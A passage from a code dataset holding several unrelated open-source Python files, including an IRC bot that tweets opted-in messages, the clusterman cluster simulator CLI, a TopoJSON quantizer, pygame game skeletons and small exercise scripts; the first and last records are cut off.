bot.say('http://i.imgur.com/CEsyZTz.png')\n\n\n@module.commands('under')\ndef underwhere(bot, trigger):\n if not trigger.group(2):\n return\n if trigger.group(2).strip() == 'where':\n bot.say('Under here: https://www.youtube.com/watch?v=_ak4rincQ5Y')\n\n\n@module.commands('yuuki')\ndef yuuki(bot, trigger):\n \"\"\"\n .yuuki [target] - Do you want to get stabbed ? Because I don't mind doing so.\n \"\"\"\n phrases = ['Do you want to get stabbed {}? Because I don\\'t mind doing so.',\n 'I don\\'t mind killing you right now, {}']\n if trigger.group(3):\n bot.say(random.choice(phrases).format(trigger.group(3).strip()))\n\nlast_message_id = None\nlast_message = None\n\n\n@module.commands('opt-in')\ndef opt_in(bot, trigger):\n \"\"\"\n .opt-in - Opt in to your messages being tweeted by @TinyInumuta\n \"\"\"\n if not trigger.group(2):\n bot.say('.opt-in - Opt in to your messages being tweeted by @TinyInumuta')\n return\n\n if trigger.group(2).strip().lower() == 'true':\n bot.db.set_nick_value(trigger.nick, 'opt-in', True)\n bot.say('Your messages may occasionally be tweeted by @TinyInumuta now.')\n else:\n bot.db.set_nick_value(trigger.nick, 'opt-in', False)\n bot.say('Your messages will not be tweeted by @TinyInumuta.')\n\n\n@module.rule('([^\\.].*)')\ndef listen(bot, trigger):\n global last_message\n if trigger.sender.is_nick() or not bot.db.get_nick_value(trigger.nick, 'opt-in') or bot.db.get_channel_value(trigger.sender, 'disable-log'):\n return\n\n intent = 'PRIVMSG'\n if 'intent' in trigger.tags:\n intent = trigger.tags['intent']\n\n last_message = (trigger.nick, trigger.group(1), trigger.sender, current_milli_time(), intent)\n\n\n@module.interval(3600 * 2) # Every 2 hours, tweet the last message sent\ndef tweet_last_message(bot):\n global last_message_id\n if last_message:\n if last_message_id != last_message[3]:\n last_message_id = last_message[3]\n\n auth = tweepy.OAuthHandler(bot.config.twitter.consumer_key, bot.config.twitter.consumer_secret)\n auth.set_access_token(bot.config.twitter.access_token, bot.config.twitter.access_token_secret)\n api = tweepy.API(auth)\n\n padding = 6\n tmpl = '\"{0}\" - {1} {2}'\n if last_message[4] == 'ACTION':\n padding = 4\n tmpl = '* {1} {0} {2}'\n padding += len(last_message[2])\n\n extra_len = 140 - (len(last_message[0]) + padding)\n update = tmpl.format(last_message[1][:extra_len], last_message[0], last_message[2])\n\n if len(update) <= 140:\n api.update_status(update)\n","repo_name":"maxpowa/inumuta-modules","sub_path":"wamm.py","file_name":"wamm.py","file_ext":"py","file_size_in_byte":4007,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"7"} +{"seq_id":"4972022921","text":"from xoa.commons.logger import * \n\n\nclass TrainerPrototype(object):\n\n def __init__(self, *args, **kwargs):\n self.history = []\n\n def initialize(self):\n self.history = []\n\n def add_train_history(self, curve, train_time=None, cur_epoch=None, measure='test_accuracy'):\n h = {\n \"curve\": curve,\n \"measure\" : measure \n }\n if train_time:\n h[\"train_time\"] = train_time\n if cur_epoch: \n h[\"train_epoch\"] = cur_epoch\n else:\n h[\"train_epoch\"] = len(curve)\n \n self.history.append(h)\n\n def train(self, cand_index, train_epoch=None, estimates=None, space=None):\n raise NotImplementedError(\"This should return loss and duration.\")\n\n def get_interim_error(self, model_index, cur_dur=0):\n raise NotImplementedError(\"This should return interim loss.\")\n\n def get_acc_curve(self, i, start_index=0, end_index=None):\n if i >= len(self.history):\n raise ValueError(\"Trial index {} > history size\".format(i))\n \n if 'accuracy' in self.history[i]['measure']:\n acc_curve = self.history[i][\"curve\"]\n curve_length = len(acc_curve)\n if end_index == None:\n end_index = curve_length - 1\n if start_index >= curve_length: \n return []\n\n if end_index >= curve_length:\n end_index = curve_length - 1\n\n return acc_curve[start_index:end_index+1]\n else:\n return []\n\n def get_verifier(self):\n return None","repo_name":"SNU-DRL/BBEA","sub_path":"trainers/proto.py","file_name":"proto.py","file_ext":"py","file_size_in_byte":1608,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"13750057877","text":"class Solution:\n def subsets(self, nums: List[int]) -> List[List[int]]:\n \n result=[]\n \n def backtrack(start,comb,k):\n \n if len(comb)==k:\n result.append(comb.copy())\n \n \n for i in range(start,len(nums)):\n comb.append(nums[i])\n backtrack(i+1,comb,k)\n comb.pop()\n \n for z in range(len(nums)+1):\n backtrack(0,[],z)\n return result","repo_name":"rajoy99/Leetcode","sub_path":"78-subsets/78-subsets.py","file_name":"78-subsets.py","file_ext":"py","file_size_in_byte":507,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"7275165946","text":"def contarAparicionesDigito(numero, digitoABuscar):\n if(isinstance(numero, int) and isinstance(digitoABuscar, int) and digitoABuscar >= 0 and digitoABuscar < 10):\n return contarAparicionesDigitoAux(numero, digitoABuscar);\n else:\n raise ValueError(\"Los argumentos deben ser enteros, y el digito a buscar, de un digito\");\n\ndef contarAparicionesDigitoAux(numero, digitoABuscar):\n divEntera = numero // 10;\n modulo = numero % 10;\n #si no se ha llegado al llamado de un numero con cero\n if(numero != 0):\n if(modulo == digitoABuscar): #si el modulo de 10 es igual al numero a buscar, entonces lo encontramos\n return 1 + contarAparicionesDigitoAux(divEntera, digitoABuscar);\n else:\n return contarAparicionesDigitoAux(divEntera, digitoABuscar);\n else: # se llega al llamado con un numero con cero, no debe tomarse en cuenta\n return 0;\n\n\ncantApariciones = contarAparicionesDigito(256475, 5);\nprint(\"Cantidad de apariciones: \" + str(cantApariciones));\n \n \n \n","repo_name":"BAMDH/Cosas_Uni","sub_path":"Intro programación/Prácticas/Notebooks_jupyter/Recursividad_1/contarAparicionesDigito.py","file_name":"contarAparicionesDigito.py","file_ext":"py","file_size_in_byte":1039,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"15851311022","text":"#!/usr/bin/python3\nimport sys\nimport pygame\nfrom settings import Settings\nfrom ship import Ship\n\n\nclass AlienInvasion:\n \"\"\"OverAll class to manage game behviour\"\"\"\n\n def __init__(self):\n \"\"\"Initialising game resources\"\"\"\n pygame.init()\n self.settings = Settings()\n self.screen = pygame.display.set_mode((0, 0), pygame.FULLSCREEN)\n self.settings.screen_width = self.screen.get_rect().width\n self.settings.screen_height = self.screen.get_rect().height\n pygame.display.set_caption(\"Alien Invasion\")\n\n self.ship = Ship(self)\n\n def run_game(self):\n \"\"\"Main loop for the game\"\"\"\n while True:\n self._check_events()\n self.ship.update()\n self._update_screen()\n\n def _check_events(self):\n # Watch for mouse and keyboard movement\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n sys.exit()\n elif event.key == pygame.K_KEYDOWN:\n self._check_keydown_events(event)\n elif event.key == pygame.K_KEYUP:\n self._check_keyup_events(event)\n # Move the ship to the right.\n\n def _check_keyup_events(self, event):\n if event.key == pygame.K_RIGHT:\n self.ship.moving_right = False\n elif event.key == pygame.K_LEFT:\n self.ship.moving_left = False\n\n def _check_keydown_events(self, event):\n if event.key == pygame.K_RIGHT:\n self.ship.moving_right = True\n elif event.key == pygame.K_LEFT:\n self.ship.moving_left = True\n # PRESS Q to exit\n elif event.key == pygame.K_q:\n sys.exit()\n\n def _update_screen(self):\n # Redraw the screen during each pass through the loop.\n self.screen.fill(self.settings.bg_color)\n self.ship.blitme()\n # Make the recently most displayed screen visible\n pygame.display.flip()\n\nif __name__ == '__main__':\n alien = AlienInvasion()\n alien.run_game","repo_name":"Dozie2001/Alien_invasion","sub_path":"alien_invasion.py","file_name":"alien_invasion.py","file_ext":"py","file_size_in_byte":2022,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"26313148827","text":"def fact(n):\n if n == 1:\n return 1\n else:\n return n*fact(n-1)\n\n\nprint(fact(1))\nprint(fact(10))\n\n\ndef first(n):\n return fact_ifter(n, 1)\n\n\ndef fact_ifter(num, product):\n if num == 1:\n return product\n else:\n return fact_ifter(num-1, num*product)\n\n\nprint(first(5))\n\n# 汉诺塔\n\n\ndef move(n, a, b, c):\n if n == 1:\n print(a, '-->', c)\n else:\n move(n - 1, a, c, b)\n print(a, '-->', c)\n move(n - 1, b, a, c)\n\n\nmove(3, 'A', 'B', 'C')\n","repo_name":"Evanzew/Python-Daily","sub_path":"day3/def_fact.py","file_name":"def_fact.py","file_ext":"py","file_size_in_byte":504,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"7"} +{"seq_id":"37177117179","text":"#Written by Yunfei LIU\r\n#Last update Oct 22, 2020\r\n#This function create a dictionary which represent a sum table of two unit digits\r\n#The key of dictionary are tuple and the value is a tuple of the two digits\r\n#For example, the value of key (5,9) is (1,5)\r\ndef table():\r\n table = dict()\r\n for i in range(10):\r\n for j in range(10):\r\n table[(i,j)] = ((i+j)//10,(i+j)-((i+j)//10)*10)\r\n return table\r\n#Now run the table function to create a dictionary\r\ndictionary = table()\r\n\r\n#This function add up two unit digits. \r\n#It receives a list with 2 unit digits and return a list of digits of sum\r\ndef add2small(number):\r\n x = number[0]\r\n y = number[1]\r\n global dictionary\r\n s = dictionary[(x,y)]\r\n s10 = s[0]\r\n s1 = s[1]\r\n return [s10,s1]\r\n\r\n#This function add up three unit digits.\r\n#It receives a list with 3 unit digits and return a list of digits of sum\r\ndef add3small(number):\r\n x,y,c = map(int,number)\r\n a10,a1 = map(int,add2small([x,y]))\r\n b10,b1 = map(int,add2small([a1,c]))\r\n d10,d1 = map(int,add2small([a10,b10]))\r\n s1 = b1\r\n s10 = d1\r\n return [s10,s1]\r\n\r\n#This function add up two multi-digits numbers\r\n#It receives 2 multi-digits numbers and return a integer of sum\r\ndef add2large(number1,number2):\r\n #This function receives 2 multi-digit numbers and return 2 lists of this numbers\r\n def transintolist(mulnumber1,mulnumber2):\r\n string1 = str(mulnumber1)\r\n string2 = str(mulnumber2)\r\n length1 = len(string1)\r\n length2 = len(string2)\r\n list1 = []\r\n list2 = []\r\n for i in range(length1):\r\n list1.append(string1[length1-1-i])\r\n for j in range(length2):\r\n list2.append(string2[length2-1-j])\r\n return [list1,list2]\r\n #Now start the program\r\n X,Y = map(list,transintolist(number1,number2))\r\n m = len(X)\r\n n = len(Y)\r\n #If the length is different, add 0 to the shorter one to avoid overflow\r\n if m > n:\r\n p = m\r\n for k in range(m-n):\r\n Y.append(0)\r\n else:\r\n p = n\r\n for l in range(n-m):\r\n X.append(0)\r\n C = []\r\n C.append(0)\r\n s = []\r\n for i in range(p):\r\n a10,a1 = map(int,add3small([X[i],Y[i],C[i]]))\r\n C.append(a10)\r\n s.append(a1)\r\n # list s is in the reversed order, so change it to the correct order\r\n S = []\r\n for j in range(len(s)):\r\n S.append(str(s[len(s)-1-j]))\r\n AnsList = [str(C[p])]+S\r\n return int(''.join(AnsList))\r\n\r\n#This function add up many multi-digit integers\r\n#It receives a list of multi-digits string and return the sum in integer format\r\ndef addmany(L):\r\n length = len(L)\r\n S = 0\r\n for j in range(length):\r\n S = add2large(S,int(L[j]))\r\n return S\r\n\r\n#Main function\r\ndef main(list):\r\n print('Input list '+str(list))\r\n print('The sum is '+str(addmany(list)))","repo_name":"liu-yunfei/Python","sub_path":"Interesting Python Questions/add numbers without arbitrary adding.py","file_name":"add numbers without arbitrary adding.py","file_ext":"py","file_size_in_byte":2885,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"41591840271","text":"#!/usr/bin/env python3\nfrom menu import Menu\nimport user\n\nstate = 1\n\ndef running():\n\twhile True:\n\t\tusr = input(\"> \")\n\t\tuser.check_input(usr, state)\n\n\ndef main():\n\tmenu = Menu()\n\tmenu.main_menu()\n\trunning()\n\nif __name__ == '__main__':\n\tmain()\n","repo_name":"Courtdank/dice","sub_path":"run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":243,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"8932526061","text":"# -*- coding = utf-8 -*-\n# 代码作者: 染瑾年ii\n# 创建时间: 2022/11/17 13:43 \n# 文件名称: 1.py\n# 编程软件: PyCharm\n\nimport numpy as np\nimport cv2 as cv\nimport time\n# 加载彩色灰度图像\nimg = cv.imread('tupian.jpg',0)\n# **cv.imshow()**在窗口中显示图像。窗口自动适合图像尺寸。第一个参数是窗口名称,它是一个字符串。第二个参数是我们的对象。你可以根据需要创建任意多个窗口,但可以使用不同的窗口名称。\ncv.imshow('image',img)\n# cv.waitKey()是一个键盘绑定函数。其参数是以毫秒为单位的时间。该函数等待任何键盘事件指定的毫秒。如果您在这段时间内按下任何键,程序将继续运行。如果**0**被传递,它将无限期地等待一次敲击键。它也可以设置为检测特定的按键,\nk = cv.waitKey(0)\nprint(\"k的值\",k)\nprint(\"ord函数S的值\",ord('S'))\nif k == 27: # 等待ESC退出\n print(\"走Esc了\")\n cv.destroyAllWindows()\nelif k == ord('S'): # 等待关键字,保存和退出\n print(\"走按键了\")\n cv.imwrite('tupian_grey.jpg',img)\n cv.destroyAllWindows()\ntime.sleep(10)\n\n\n# retval, dst = cv.threshold(img, 10, 100, cv.THRESH_BINARY)\n# print(\"图像\",img)\n# print(\"dst修改后的图像\",dst)\n# print(\"retval是什么\",retval)","repo_name":"1437160265/cv2-learning","sub_path":"1.py","file_name":"1.py","file_ext":"py","file_size_in_byte":1316,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"37664577460","text":"\"\"\"\nHeat Maps (Densest possible data representation)\n- Correlations\n- Clustering results\n- Spatial relationship\n\"\"\"\n\n#Imports\nimport pylab as plt\nimport numpy as np\n\n#Data\nnp.random.seed(137)\nmat = np.random.rand(10, 10)\ndata = np.corrcoef(mat)\n\n#Plotting\nheatmap = plt.pcolor(data, vmin=0, vmax=1)\nplt.colorbar(heatmap)\n\n#Additional\nplt.show()","repo_name":"sriisking/MatplotlibTutorial","sub_path":"examples/5_heatmap.py","file_name":"5_heatmap.py","file_ext":"py","file_size_in_byte":344,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"7"} +{"seq_id":"13109902381","text":"import turtle\nt1 = turtle.Pen()\nt2 = turtle.Pen()\nturtle.bgcolor(\"black\")\nt1.color(\"red\")\nt2.color(\"white\")\nt2.penup()\nt2.setpos(100)\nt2.pendown()\n\nt2.pensize(10)\nt2.forward(50)\n\nt2.setheading(60)\nt2.forward(100)\nt2.dot(30)\nt2.forward(50)\nprint(turtle1.distance(turtle2))\nnput()\n","repo_name":"Restok/Storage","sub_path":"practice2.py","file_name":"practice2.py","file_ext":"py","file_size_in_byte":279,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"39891814214","text":"from datapackage_pipelines.wrapper import ingest, spew\n\nparameters, dp, res_iter = ingest()\n\n\ndef process_resource(rows):\n\n expected_totals = dict(\n (k, v * parameters['factor'])\n for k, v in parameters['totals'].items()\n )\n total_fields = expected_totals.keys()\n totals = dict(\n (f, 0)\n for f in total_fields\n )\n ERROR_MARGIN = 1 * parameters['factor']\n\n for row in rows:\n for f in total_fields:\n if row[f]:\n totals[f] += row[f]\n yield row\n\n for f in total_fields:\n assert abs(totals[f] - expected_totals[f]) <= ERROR_MARGIN, \\\n \"%r: Expected total of %s, got %s instead\" % \\\n (f, expected_totals[f], totals[f])\n\n\ndef process_resources(resources):\n first = next(resources)\n yield process_resource(first)\n yield from resources\n\n\nif __name__ == '__main__':\n spew(dp, process_resources(res_iter))\n","repo_name":"okfn/datapackage_pipelines_od4tj","sub_path":"datapackage_pipelines_od4tj/processors/validate_totals.py","file_name":"validate_totals.py","file_ext":"py","file_size_in_byte":936,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"7"} +{"seq_id":"33590510738","text":"import argparse\nimport operator\nfrom collections import defaultdict\n\nimport arrow\nimport colorlog\nimport staticconf\nfrom clusterman_metrics import ClustermanMetricsSimulationClient\nfrom clusterman_metrics import METADATA\nfrom clusterman_metrics import SYSTEM_METRICS\n\nfrom clusterman.args import add_branch_or_tag_arg\nfrom clusterman.args import add_cluster_arg\nfrom clusterman.args import add_cluster_config_directory_arg\nfrom clusterman.args import add_pool_arg\nfrom clusterman.args import add_scheduler_arg\nfrom clusterman.args import add_start_end_args\nfrom clusterman.args import subparser\nfrom clusterman.aws.markets import get_market_resources\nfrom clusterman.aws.markets import InstanceMarket\nfrom clusterman.reports.report_types import REPORT_TYPES\nfrom clusterman.simulator.event import AutoscalingEvent\nfrom clusterman.simulator.event import InstancePriceChangeEvent\nfrom clusterman.simulator.event import ModifyClusterSizeEvent\nfrom clusterman.simulator.io import read_object_from_compressed_json\nfrom clusterman.simulator.io import write_object_to_compressed_json\nfrom clusterman.simulator.simulator import Simulator\nfrom clusterman.simulator.util import SimulationMetadata\nfrom clusterman.util import get_cluster_dimensions\nfrom clusterman.util import parse_time_string\nfrom clusterman.util import splay_event_time\n\nlogger = colorlog.getLogger(__name__)\ncolorlog.getLogger(\"clusterman_metrics\")\n\ntry:\n # this currently fails for our paasta docker image\n # but we don't actually need to generate reports on paasta\n # so I'm just catching the error for now\n from clusterman.reports.reports import make_report\nexcept ImportError as e:\n logger.warning(f\"ImportError: {e}, unable to import code to make reports, some simulator commands will fail\")\n\n def make_report(name, simulator, start_time, end_time, output_prefix=\"\", tz=\"US/Pacific\"):\n logger.error(\"Unable to generate report due to missing imports\")\n\n\ndef _load_metrics(metrics_data_files, pool):\n metrics = defaultdict(dict)\n for metrics_file in metrics_data_files or []:\n try:\n data = read_object_from_compressed_json(metrics_file, raw_timestamps=True)\n for metric_type, values in data.items():\n metrics[metric_type].update(values)\n except OSError as e:\n logger.warn(f\"{str(e)}: no metrics loaded\")\n region_name = staticconf.read_string(\"aws.region\")\n metrics_client = ClustermanMetricsSimulationClient(metrics, region_name=region_name, app_identifier=pool)\n return metrics_client\n\n\ndef _populate_autoscaling_events(simulator, start_time, end_time):\n current_time = start_time.shift(\n seconds=splay_event_time(\n simulator.autoscaler.run_frequency,\n \"simulated-autoscaler\",\n timestamp=start_time.timestamp,\n )\n )\n while current_time < end_time:\n simulator.add_event(AutoscalingEvent(current_time))\n current_time = current_time.shift(\n seconds=splay_event_time(\n simulator.autoscaler.run_frequency,\n \"simulated-autoscaler\",\n timestamp=start_time.timestamp,\n )\n )\n\n\ndef _populate_cluster_size_events(simulator, start_time, end_time):\n capacity_metrics = simulator.metrics_client.get_metric_values(\n \"fulfilled_capacity\",\n METADATA,\n start_time.timestamp,\n end_time.timestamp,\n use_cache=False,\n extra_dimensions=get_cluster_dimensions(\n simulator.metadata.cluster,\n simulator.metadata.pool,\n simulator.metadata.scheduler,\n ),\n )\n for i, (timestamp, data) in enumerate(capacity_metrics[\"fulfilled_capacity\"]):\n market_data = {}\n for market_str, value in data.items():\n market = InstanceMarket.parse(market_str)\n weight = get_market_resources(market).cpus // staticconf.read_int(\"cpus_per_weight\")\n market_data[market] = int(value) // weight\n simulator.markets |= set(market_data.keys())\n use_join_delay = i != 0 # Want to start the cluster out at the expected capacity\n simulator.add_event(ModifyClusterSizeEvent(arrow.get(timestamp), market_data, use_join_delay))\n\n\ndef _populate_allocated_resources(simulator, start_time, end_time):\n allocated_metrics = simulator.metrics_client.get_metric_values(\n \"cpus_allocated\",\n SYSTEM_METRICS,\n start_time.timestamp,\n end_time.timestamp,\n use_cache=False,\n extra_dimensions=get_cluster_dimensions(\n simulator.metadata.cluster,\n simulator.metadata.pool,\n simulator.metadata.scheduler,\n ),\n )\n # It's OK to just directly set up the timeseries here, instead of using events; if the autoscaler\n # depends on these values it will re-read it from the metrics client anyways.\n #\n # In the future, we may want to make the simulator smarter (if the value of cpus_allocated exceeds the\n # simulated total cpus, for example), but for right now I don't care (CLUSTERMAN-145)\n for timestamp, data in allocated_metrics[\"cpus_allocated\"]:\n simulator.mesos_cpus_allocated.add_breakpoint(arrow.get(timestamp), float(data))\n\n\ndef _populate_price_changes(simulator, start_time, end_time, discount):\n for market in simulator.markets:\n market_prices = simulator.metrics_client.get_metric_values(\n \"spot_prices\",\n METADATA,\n start_time.timestamp,\n end_time.timestamp,\n use_cache=False,\n extra_dimensions={\n \"aws_availability_zone\": market.az,\n \"aws_instance_type\": market.instance,\n },\n )\n for timestamp, price in market_prices[\"spot_prices\"]:\n price = float(price) * (discount or 1.0)\n simulator.add_event(\n InstancePriceChangeEvent(\n arrow.get(timestamp),\n {market: price},\n )\n )\n\n\ndef _run_simulation(args, metrics_client):\n metadata = SimulationMetadata(args.name, args.cluster, args.pool, args.scheduler)\n simulator = Simulator(metadata, args.start_time, args.end_time, args.autoscaler_config, metrics_client)\n if simulator.autoscaler:\n _populate_autoscaling_events(simulator, args.start_time, args.end_time)\n else:\n _populate_cluster_size_events(simulator, args.start_time, args.end_time)\n\n _populate_allocated_resources(simulator, args.start_time, args.end_time)\n _populate_price_changes(simulator, args.start_time, args.end_time, args.discount)\n\n simulator.run()\n return simulator\n\n\ndef main(args):\n args.start_time = parse_time_string(args.start_time)\n args.end_time = parse_time_string(args.end_time)\n\n staticconf.DictConfiguration(\n {\n \"join_delay_mean_seconds\": args.join_delay_params[0],\n \"join_delay_stdev_seconds\": args.join_delay_params[1],\n \"cpus_per_weight\": args.cpus_per_weight,\n \"ebs_volume_size\": args.ebs_volume_size,\n }\n )\n # We can provide up to two simulation objects to compare. If we load two simulator objects to compare,\n # we don't need to run a simulation here. If the user specifies --compare but only gives one object,\n # then we need to run a simulation now, and use that to compare to the saved sim\n sims = []\n if args.compare:\n if len(args.compare) > 2:\n raise argparse.ArgumentError(None, f\"Cannot compare more than two simulations: {args.compare}\")\n sims = [read_object_from_compressed_json(sim_file) for sim_file in args.compare]\n\n if len(sims) < 2:\n metrics_client = _load_metrics(args.metrics_data_files, args.pool)\n simulator = _run_simulation(args, metrics_client)\n sims.insert(0, simulator)\n\n if len(sims) == 2:\n cmp_fn = getattr(operator, args.comparison_operator)\n final_simulator = cmp_fn(*sims)\n else:\n final_simulator = sims[0]\n\n if args.simulation_result_file:\n write_object_to_compressed_json(final_simulator, args.simulation_result_file)\n\n if hasattr(args, \"reports\"):\n if \"all\" in args.reports:\n args.reports = REPORT_TYPES.keys()\n\n for report in args.reports:\n make_report(\n report,\n final_simulator,\n args.start_time,\n args.end_time,\n args.output_prefix,\n )\n\n\n@subparser(\"simulate\", \"simulate the behavior of a cluster\", main)\ndef add_simulate_parser(subparser, required_named_args, optional_named_args): # pragma: no cover\n add_start_end_args(\n required_named_args,\n \"simulation start time\",\n \"simulation end time\",\n )\n add_cluster_arg(required_named_args, required=False)\n add_pool_arg(required_named_args)\n add_scheduler_arg(required_named_args)\n add_cluster_config_directory_arg(optional_named_args)\n add_branch_or_tag_arg(optional_named_args)\n required_named_args.add_argument(\n \"--name\",\n default=\"simulation\",\n help=\"Name for the simulation (helpful when comparing two simulations)\",\n )\n optional_named_args.add_argument(\n \"--autoscaler-config\",\n default=None,\n help=\"file containing the spot fleet request JSON data for the autoscaler\",\n )\n optional_named_args.add_argument(\n \"--reports\",\n nargs=\"+\",\n choices=list(REPORT_TYPES.keys()) + [\"all\"],\n default=[],\n help=\"type(s) of reports to generate from the simulation\",\n )\n optional_named_args.add_argument(\n \"--metrics-data-files\",\n metavar=\"filename\",\n nargs=\"+\",\n help=\"provide simulated values for one or more metric time series\",\n )\n optional_named_args.add_argument(\n \"--cpus-per-weight\",\n type=int,\n default=1,\n help=\"how many CPUs are present in one unit of weight\",\n )\n optional_named_args.add_argument(\n \"--ebs-volume-size\",\n type=int,\n metavar=\"GB\",\n default=0,\n help=\"size of EBS volume for EBS-only instances\",\n )\n optional_named_args.add_argument(\n \"--discount\",\n metavar=\"percent\",\n type=float,\n default=None,\n help=\"optional discount to apply to cost calculations\",\n )\n optional_named_args.add_argument(\n \"--join-delay-params\",\n metavar=(\"mean\", \"stdev (seconds)\"),\n nargs=2,\n type=int,\n default=[0, 0],\n help=\"parameters to control long to wait before a host joins the cluster (normally distributed)\",\n )\n optional_named_args.add_argument(\n \"--output-prefix\",\n default=\"\",\n help=\"filename prefix for generated reports\",\n )\n optional_named_args.add_argument(\n \"--simulation-result-file\",\n metavar=\"filename\",\n help=\"specify filename to save simulation result for comparison\",\n )\n optional_named_args.add_argument(\n \"--compare\",\n metavar=\"filename\",\n nargs=\"+\",\n help=\"specify one or two filenames to compare simulation result\",\n )\n optional_named_args.add_argument(\n \"--comparison-operator\",\n choices=[\"add\", \"sub\", \"mul\", \"truediv\"],\n default=\"truediv\",\n help=\"operation to use for comparing simulations; valid choices are binary functions from the operator module\",\n )\n","repo_name":"Yelp/clusterman","sub_path":"clusterman/cli/simulate.py","file_name":"simulate.py","file_ext":"py","file_size_in_byte":11430,"program_lang":"python","lang":"en","doc_type":"code","stars":296,"dataset":"github-code","pt":"7"} +{"seq_id":"22804971784","text":"import math\nfrom collections.abc import Iterable\n\nfrom pytopojson import (\n bbox,\n commons,\n untransform,\n)\n\n\nclass Quantize(object):\n def __init__(self):\n self.bbox = bbox.BBox()\n self.untransform = untransform.Untransform()\n self.t = None\n\n def __call__(self, topology, transform=None, *args, **kwargs):\n if topology.get(\"transform\", None) is not None:\n raise ValueError(\"Already quantized.\")\n\n no_transform = transform is None\n no_scale = \"scale\" not in transform if isinstance(transform, Iterable) else True\n if no_transform or no_scale:\n if transform is None or math.floor(transform) < 2:\n raise ValueError(\"n must be ≥2.\")\n n = math.floor(transform)\n\n if \"bbox\" in topology and topology[\"bbox\"] is not None:\n box = topology[\"bbox\"]\n else:\n box = self.bbox(topology)\n\n x_0, y_0, x_1, y_1 = box\n transform = {\n \"scale\": [\n (x_1 - x_0) / (n - 1) if x_0 < x_1 else 1,\n (y_1 - y_0) / (n - 1) if y_0 < y_1 else 1,\n ],\n \"translate\": [x_0, y_0],\n }\n else:\n box = topology[\"bbox\"]\n\n self.t = self.untransform(transform)\n inputs = topology[\"objects\"]\n outputs = dict()\n\n for k in inputs:\n outputs[k] = self.quantize_geometry(inputs[k])\n\n return {\n \"type\": \"Topology\",\n \"bbox\": box,\n \"transform\": transform,\n \"objects\": outputs,\n \"arcs\": list(map(lambda x: self.quantize_arc(x), topology[\"arcs\"])),\n }\n\n def quantize_point(self, point):\n return self.t(point)\n\n def quantize_geometry(self, input):\n if input[\"type\"] == \"GeometryCollection\":\n output = {\n \"type\": \"GeometryCollection\",\n \"geometries\": list(\n map(lambda x: self.quantize_geometry(x), input[\"geometries\"])\n ),\n }\n elif input[\"type\"] == \"Point\":\n output = {\n \"type\": \"Point\",\n \"coordinates\": self.quantize_point(input[\"coordinates\"]),\n }\n elif input[\"type\"] == \"MultiPoint\":\n output = {\n \"type\": \"MultiPoint\",\n \"coordinates\": list(\n map(lambda x: self.quantize_point(x), input[\"coordinates\"])\n ),\n }\n else:\n return input\n\n if \"id\" in input:\n output[\"id\"] = input[\"id\"]\n if \"bbox\" in input:\n output[\"bbox\"] = input[\"bbox\"]\n if \"properties\" in input:\n output[\"properties\"] = input[\"properties\"]\n\n return output\n\n def quantize_arc(self, input):\n i = 1\n j = 1\n n = len(input)\n output = commons.Array(n) # Pessimistic\n output[0] = self.t(input[0], 0)\n\n while i < n:\n p = self.t(input[i], i)\n if p[0] or p[1]:\n output[j] = p # Non-coincident points\n j += 1\n i += 1\n\n if j == 1:\n output[j] = [0, 0] # An arc must have at least two points\n j += 1\n\n output = output[:j]\n return output\n","repo_name":"fferrin/pytopojson","sub_path":"pytopojson/quantize.py","file_name":"quantize.py","file_ext":"py","file_size_in_byte":3330,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"7"} +{"seq_id":"5039646978","text":"\n\n# -*- coding: utf8 -*-\nimport os\n\nbasedir = os.path.abspath(os.path.dirname(__file__))\n\nCSRF_ENABLED = True\nSECRET_KEY = 'temporary'\nDEBUG = True\nSQLALCHEMY_ECHO = False\n\n\nif os.environ.get('DATABASE_URL') is None:\n SQLALCHEMY_DATABASE_URI = ('mysql+pymysql://build-a-blog:build-a-blog@localhost:3306/build-a-blog')\nelse:\n SQLALCHEMY_DATABASE_URI = os.environ['mysql+pymysql://build-a-blog:build-a-blog@localhost:3306/build-a-blog']\n\nSQLALCHEMY_MIGRATE_REPO = os.path.join(basedir, 'db_repository')\nSQLALCHEMY_RECORD_QUERIES = True\nWHOOSH_BASE= os.path.join(basedir, 'search.db')\nSQLALCHEMY_ECHO = True\nSQLALCHEMY_TRACK_MODIFICATIONS = True\n\n# Whoosh does not work on Heroku\nWHOOSH_ENABLED = os.environ.get('HEROKU') is None\n\n# slow database query threshold (in seconds)\nDATABASE_QUERY_TIMEOUT = 0.5\n\n# administrator list\nADMINS = ['my@email.com']\n\n# pagination\nPOSTS_PER_PAGE = 10\nMAX_SEARCH_RESULTS = 50\n","repo_name":"Tobingrace/blogz","sub_path":"config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":914,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"1325719902","text":"import pygame, sys\nvec = pygame.math.Vector2\n\nwidth, height = 800, 500\nsize = (width, height)\nscreen = pygame.display.set_mode(size)\npygame.display.set_caption('Button Demo')\nbtn_image = pygame.image.load('./graphics/Player/player_stand.png')\npadding = 10\n\nclass ButtonText():\n def __init__(self, x, y, w, h, text, color):\n self.font = pygame.font.SysFont('consolas', 30)\n self.color = color\n self.x = x\n self.y = y\n self.w = w\n self.h = h\n self.text = text\n self.top_rect = pygame.Rect((x, y), (w, h))\n self.text_surf = self.font.render(text, True, 'blue')\n self.text_rect = 